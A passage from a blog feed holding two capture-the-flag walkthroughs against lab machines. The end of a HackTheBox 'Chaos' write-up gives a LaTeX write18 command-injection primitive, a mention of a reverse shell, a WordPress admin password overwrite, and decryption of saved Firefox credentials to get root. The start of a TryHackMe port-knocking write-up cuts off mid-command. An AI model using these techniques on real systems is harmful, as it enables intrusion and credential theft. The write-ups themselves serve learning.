&lt;p&gt;Checking the actual response that the server was giving me, I could see that there was some LaTeX engine behind the page, as the response contained the execution log of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdflatex&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;From https://0day.work/hacking-with-latex/, surprisingly, I found that it was possible to inject commands by using&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\immediate\write18{$CMD}&lt;/code&gt; in the PDF generation box.
The command would have been injected in the document and LaTeX would have executed it for us.&lt;/p&gt;

&lt;p&gt;First I tried some commands to see what I could do, checking the output from the server response. After I could not find anything interesting I decided to just execute as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMD&lt;/code&gt; a Python reverse shell, while listening with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc&lt;/code&gt; from Kali. So I got a shell as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www-data&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;reverse-shell&quot;&gt;Reverse Shell&lt;/h4&gt;

&lt;p&gt;Once I had my reverse shell, I knew that user had to be close. I started looking around and went into a couple of rabbit holes, such as:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define(&apos;DB_NAME&apos;, &apos;wp&apos;);
                                                           
/** MySQL database username */
define(&apos;DB_USER&apos;, &apos;roundcube&apos;);

/** MySQL database password */                 
define(&apos;DB_PASSWORD&apos;, &apos;inner[OnCag8&apos;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and even more&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;roundcube.conf
&amp;lt;VirtualHost &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;:80&amp;gt;
        ServerName webmail.chaos.htb

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/roundcube
    &lt;span class=&quot;c&quot;&gt;# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;# error, crit, alert, emerg.&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;# It is also possible to configure the loglevel for particular&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;# modules, e.g.&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;#LogLevel info ssl:warn&lt;/span&gt;

    ErrorLog &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;APACHE_LOG_DIR&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/error_roundcube.log
    CustomLog &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;APACHE_LOG_DIR&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/access_roundcube.log combined

    &amp;lt;Directory /var/www/roundcube&amp;gt;
            Options &lt;span class=&quot;nt&quot;&gt;-Indexes&lt;/span&gt;
            AllowOverride All
            Order allow,deny
            allow from all
    &amp;lt;/Directory&amp;gt;
&amp;lt;/VirtualHost&amp;gt;

&lt;span class=&quot;c&quot;&gt;# vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I was really hoping that I could actually use Roundcube, as this was the webmail I was really expecting to be there at the beginning!&lt;/p&gt;

&lt;p&gt;I also managed to login in wordpress as admin, hoping there could be some draft or any other information, by overriding the admin password.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysql&amp;gt; UPDATE &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;wp_users&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; SET &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;user_pass&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; MD5&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;soloiolaso&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; WHERE &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;wp_users&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;.&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;user_login&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;human&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Unfortunately, all of this was useless, as all it was needed was:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@chaos:/etc/dovecot&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su ayush
su ayush
Password: jiujitsu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The shell we got is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rbash&lt;/code&gt; a restricted shell where almost no command was possible.
First, I decided to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su&lt;/code&gt; to print the flag.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -c &quot;cat /home/ayush/user.txt&quot; ayush
&amp;lt;3r3/compile$ su -c &quot;cat /home/ayush/user.txt&quot; ayush             
Password: jiujitsu

eef39126d9c3b4b8a30286970dc713e1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this point I got user, but if I just tried to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ayush&lt;/code&gt; I got a restricted shell, that I would have had to break out from.&lt;/p&gt;

&lt;p&gt;Instead, I just spawned a new shell directly.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;python -c &apos;import pty; pty.spawn(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/bin/bash&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&apos; &quot;&lt;/span&gt; ayush
Password: jiujitsu

ayush@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls
ls
&lt;/span&gt;Command &lt;span class=&quot;s1&quot;&gt;&apos;ls&apos;&lt;/span&gt; is available &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/bin/ls&apos;&lt;/span&gt;
The &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;could not be located because &lt;span class=&quot;s1&quot;&gt;&apos;/bin&apos;&lt;/span&gt; is not included &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the PATH environment variable.
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt;: &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;not found
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The shell now was fully functional, and just by adding the usual folders to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt; variable, I could execute all the commands available.&lt;/p&gt;

&lt;h4 id=&quot;privilege-escalation&quot;&gt;Privilege escalation&lt;/h4&gt;

&lt;p&gt;Privilege escalation was quite easy with this specific box. in the Home directory of the user there was a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.mozilla&lt;/code&gt; folder.&lt;/p&gt;

&lt;p&gt;As this was a very peculiar thing to be present, given that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mozilla&lt;/code&gt; didn’t really have a reason to be there (the program was not even installed), I decided to check it out.&lt;/p&gt;

&lt;p&gt;After some research, I understood that this folder was basically a backup of a profile, and therefore I aimed for the credentials saved; these are usually stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logins.json&lt;/code&gt; .&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;logins.json
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;logins.json
&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;nextId&quot;&lt;/span&gt;:3,&lt;span class=&quot;s2&quot;&gt;&quot;logins&quot;&lt;/span&gt;:[&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;id&quot;&lt;/span&gt;:2,&lt;span class=&quot;s2&quot;&gt;&quot;hostname&quot;&lt;/span&gt;:&lt;span class=&quot;s2&quot;&gt;&quot;https://chaos.htb:10000&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;httpRealm&quot;&lt;/span&gt;:null,&lt;span class=&quot;s2&quot;&gt;&quot;formSubmitURL&quot;&lt;/span&gt;:&lt;span class=&quot;s2&quot;&gt;&quot;https://chaos.htb:10000&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;usernameField&quot;&lt;/span&gt;:&lt;span class=&quot;s2&quot;&gt;&quot;user&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;passwordField&quot;&lt;/span&gt;:&lt;span class=&quot;s2&quot;&gt;&quot;pass&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;encryptedUsername&quot;&lt;/span&gt;:&lt;span class=&quot;s2&quot;&gt;&quot;MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;encryptedPassword&quot;&lt;/span&gt;:&lt;span class=&quot;s2&quot;&gt;&quot;MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;guid&quot;&lt;/span&gt;:&lt;span class=&quot;s2&quot;&gt;&quot;{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;encType&quot;&lt;/span&gt;:1,&lt;span class=&quot;s2&quot;&gt;&quot;timeCreated&quot;&lt;/span&gt;:1540642202692,&lt;span class=&quot;s2&quot;&gt;&quot;timeLastUsed&quot;&lt;/span&gt;:1540642202692,&lt;span class=&quot;s2&quot;&gt;&quot;timePasswordChanged&quot;&lt;/span&gt;:1540642202692,&lt;span class=&quot;s2&quot;&gt;&quot;timesUsed&quot;&lt;/span&gt;:1&lt;span class=&quot;o&quot;&gt;}]&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;disabledHosts&quot;&lt;/span&gt;:[],&lt;span class=&quot;s2&quot;&gt;&quot;version&quot;&lt;/span&gt;:2&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The password was encrypted, so I could not access it, but I could see that the password was for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://chaos.htb:10000&lt;/code&gt; , which is the webmin interface.&lt;/p&gt;

&lt;p&gt;After some more research, I found a &lt;a href=&quot;https://github.com/unode/firefox_decrypt&quot;&gt;tool&lt;/a&gt; that can decrypt Mozilla profile passwords, provided the correct master key.&lt;/p&gt;

&lt;p&gt;As for everything else on this machine, basically, I used the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jiujitsu&lt;/code&gt; password and the decryption succeeded.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ayush@chaos:~/.mozilla$ python firefox_decrypt.py firefox
python firefox_decrypt.py firefox

Master Password for profile firefox/bzo7sjt1.default: jiujitsu

Website:   https://chaos.htb:10000
Username: &apos;root&apos;
Password: &apos;Thiv8wrej~&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;root&quot;&gt;Root&lt;/h4&gt;

&lt;p&gt;With the webmin credentials I could login in the web interface, and here we had a root shell waiting for us, from where we could confortably &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat&lt;/code&gt; the root flag.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cat /root/root.txt
4eca7e09e3520e020884563cfbabbc70
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Tue, 11 Jun 2019 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2019/HTB-chaos/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2019/HTB-chaos/</guid>
        
        
      </item>
    
      <item>
        <title>Knock, Knock - TryHackMe CTF</title>
        <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;This machine, according to its documentation, is meant to improve knowledge about port knocking, pcap analysis and basic linux exploitation.&lt;/p&gt;

&lt;h3 id=&quot;port-knocking&quot;&gt;Port Knocking&lt;/h3&gt;

&lt;p&gt;Port knocking is a technique used to open ports on a firewall by generating connection attempts on a single or on a specific sequence
or ports. If the correct sequence/port is probed, the firewall will open the actual port for the host which attempted the connections.&lt;/p&gt;

&lt;h2 id=&quot;enumerating&quot;&gt;Enumerating&lt;/h2&gt;

&lt;p&gt;The first thing that needs to be done is, as always, is enumerating the machine.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# nmap -sV -sS  10.0.0.78&lt;/span&gt;
Starting Nmap 7.70 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2019-02-16 18:27 EET
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.0.0.78
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.057s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Apache is running on port 80, &lt;em&gt;curl&lt;/em&gt;-ing on the port we get:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# curl 10.0.0.78&lt;/span&gt;
&amp;lt;html&amp;gt;
&amp;lt;h1&amp;gt;huhuhuh Hey Beavis... huhuhh  Check it out!&amp;lt;/h1&amp;gt;
&amp;lt;br&amp;gt;
&amp;lt;a &lt;span class=&quot;nv&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;pcap1.pcap&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;Wooah&amp;lt;/a&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is the first pcap file, so let’s download it.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget 10.0.0.78/pcap1.pcap&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I then used Wireshark to analyze it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/knockknock1.png&quot; alt=&quot;Pcap file opened with wireshark&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since the machine is about port knocking, let’s focus primarily on TCP connections. Twice we can see that there are three
sequences of TCP SYN packets to port 7000, 8000 and 9000 respectively. Probably this is the sequence to use to open some other port.&lt;/p&gt;

&lt;p&gt;In order to do the knocking, it is possible to use telnet or to use a custom program such as this &lt;a href=&quot;https://github.com/grongor/knock&quot;&gt;simple Python tool&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# telnet 10.0.0.78 7000&lt;/span&gt;
Trying 10.0.0.78...
telnet: Unable to connect to remote host: Connection refused
root@kali:~/CTF/tryhackme/knockknock# telnet 10.0.0.78 8000
Trying 10.0.0.78...
telnet: Unable to connect to remote host: Connection refused
root@kali:~/CTF/tryhackme/knockknock# telnet 10.0.0.78 9000
Trying 10.0.0.78...
telnet: Unable to connect to remote host: Connection refused
root@kali:~/CTF/tryhackme/knockknock# nmap &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sS&lt;/span&gt;  10.0.0.78 &lt;span class=&quot;nt&quot;&gt;-p-&lt;/span&gt;
Starting Nmap 7.70 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2019-02-16 18:40 EET
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.0.0.78
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.063s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 65533 closed ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.7 &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
8888/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: 1 IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;27.17 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, now we see that port 8888 is open. In fact, looking at the pcap file, we can see that after the second port knocking, there is
a TCP connection to port 8888.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# telnet 10.0.0.78 8888&lt;/span&gt;
Trying 10.0.0.78...
Connected to 10.0.0.78.
Escape character is &lt;span class=&quot;s1&quot;&gt;&apos;^]&apos;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
/burgerworld/
Connection closed by foreign host.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Connecting to this port we found what looks like a web path. So let’s use &lt;em&gt;curl&lt;/em&gt; again to explore it.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# curl 10.0.0.78/burgerworld/&lt;/span&gt;
&amp;lt;html&amp;gt;
&amp;lt;h1&amp;gt;heheheh..Hey Hows It Going..heheh..&amp;lt;/h1&amp;gt;
&amp;lt;br&amp;gt;
&amp;lt;a &lt;span class=&quot;nv&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;pcap2.pcap&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;heheh...hehh..&amp;lt;/a&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Another pcap file to download and analyze. This time there are no obvious sequences of TCP connection that might be another port knocking
configuration. Following the TCP streams though, and in particular the last part of the pcap, we can find a ‘hidden’ message.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/knockknock2.png&quot; alt=&quot;Following the last TCP stream&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It is not needed to speak german to understand that eins drei and seiben are one, three and seven respectively.
Let’s knock on these ports then and see what happens.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# python3 knock.py 10.0.0.78 1 3 3 7
root@kali:~/CTF/tryhackme/knockknock# nmap -sV -sS  10.0.0.78 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 19:02 EET
Nmap scan report for 10.0.0.78
Host is up (0.060s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
1337/tcp open  waste?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.70%I=7%D=2/16%Time=5C684247%P=x86_64-pc-linux-gnu%r(NU
SF:LL,F,&quot;/iamcornholio/\n&quot;)%r(GenericLines,F,&quot;/iamcornholio/\n&quot;)%r(GetRequ
SF:est,F,&quot;/iamcornholio/\n&quot;)%r(HTTPOptions,F,&quot;/iamcornholio/\n&quot;)%r(RTSPReq
SF:uest,F,&quot;/iamcornholio/\n&quot;)%r(RPCCheck,F,&quot;/iamcornholio/\n&quot;)%r(DNSVersio
SF:nBindReqTCP,F,&quot;/iamcornholio/\n&quot;)%r(DNSStatusRequestTCP,F,&quot;/iamcornholi
SF:o/\n&quot;)%r(Help,F,&quot;/iamcornholio/\n&quot;)%r(SSLSessionReq,F,&quot;/iamcornholio/\n
SF:&quot;)%r(TLSSessionReq,F,&quot;/iamcornholio/\n&quot;)%r(Kerberos,F,&quot;/iamcornholio/\n
SF:&quot;)%r(SMBProgNeg,F,&quot;/iamcornholio/\n&quot;)%r(X11Probe,F,&quot;/iamcornholio/\n&quot;)%
SF:r(FourOhFourRequest,F,&quot;/iamcornholio/\n&quot;)%r(LPDString,F,&quot;/iamcornholio/
SF:\n&quot;)%r(LDAPSearchReq,F,&quot;/iamcornholio/\n&quot;)%r(LDAPBindReq,F,&quot;/iamcornhol
SF:io/\n&quot;)%r(SIPOptions,F,&quot;/iamcornholio/\n&quot;)%r(LANDesk-RC,F,&quot;/iamcornholi
SF:o/\n&quot;)%r(TerminalServer,F,&quot;/iamcornholio/\n&quot;)%r(NCP,F,&quot;/iamcornholio/\n
SF:&quot;)%r(NotesRPC,F,&quot;/iamcornholio/\n&quot;)%r(JavaRMI,F,&quot;/iamcornholio/\n&quot;)%r(W
SF:MSRequest,F,&quot;/iamcornholio/\n&quot;)%r(oracle-tns,F,&quot;/iamcornholio/\n&quot;)%r(ms
SF:-sql-s,F,&quot;/iamcornholio/\n&quot;)%r(afp,F,&quot;/iamcornholio/\n&quot;)%r(giop,F,&quot;/iam
SF:cornholio/\n&quot;);

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.46 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, after knocking on ports 1 3 3 and 7, we can see port 1337 open. We don’t need more than nmap’s own fingerprint to see
another web directory: iamcornholio.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# curl 10.0.0.78/iamcornholio/
&amp;lt;html&amp;gt;

&amp;lt;h1&amp;gt;huhhuhhh...Hey Beavis...Im all about uhhh...huhuh...that base huhhuhhh...&amp;lt;/h1&amp;gt;

T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK

&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This looks clearly like a base64 encoded string, so let’s decode it.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# echo &quot;T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK&quot; | base64 -d
Open up SSH: 8888 9999 7777 6666
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, seems like this will be the last knocking, to open SSH.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# python3 knock.py 10.0.0.78 8888 9999 7777 6666
root@kali:~/CTF/tryhackme/knockknock# ssh 10.0.0.78
The authenticity of host &apos;10.0.0.78 (10.0.0.78)&apos; can&apos;t be established.
ECDSA key fingerprint is SHA256:uSdkKIWXcJl0j0P5Y+cAzjD9CJOFQ/NxtG8kz8ptzFE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added &apos;10.0.0.78&apos; (ECDSA) to the list of known hosts.
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
root@10.0.0.78&apos;s password: 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;SSH banner presents us with some credentials to use, so let’s try to SSH with those.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# ssh butthead@10.0.0.78
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
butthead@10.0.0.78&apos;s password: 
Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.13.0-46-generic i686)

 * Documentation:  https://help.ubuntu.com/
Last login: Tue Mar  3 01:02:49 2015 from 192.168.56.102
You are only logging in for a split second! What do you do!
Connection to 10.0.0.78 closed.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The connection closes right away, so we do not have time to run any command, but we can use ssh to run commands one by one.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# ssh butthead@10.0.0.78 pwd
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
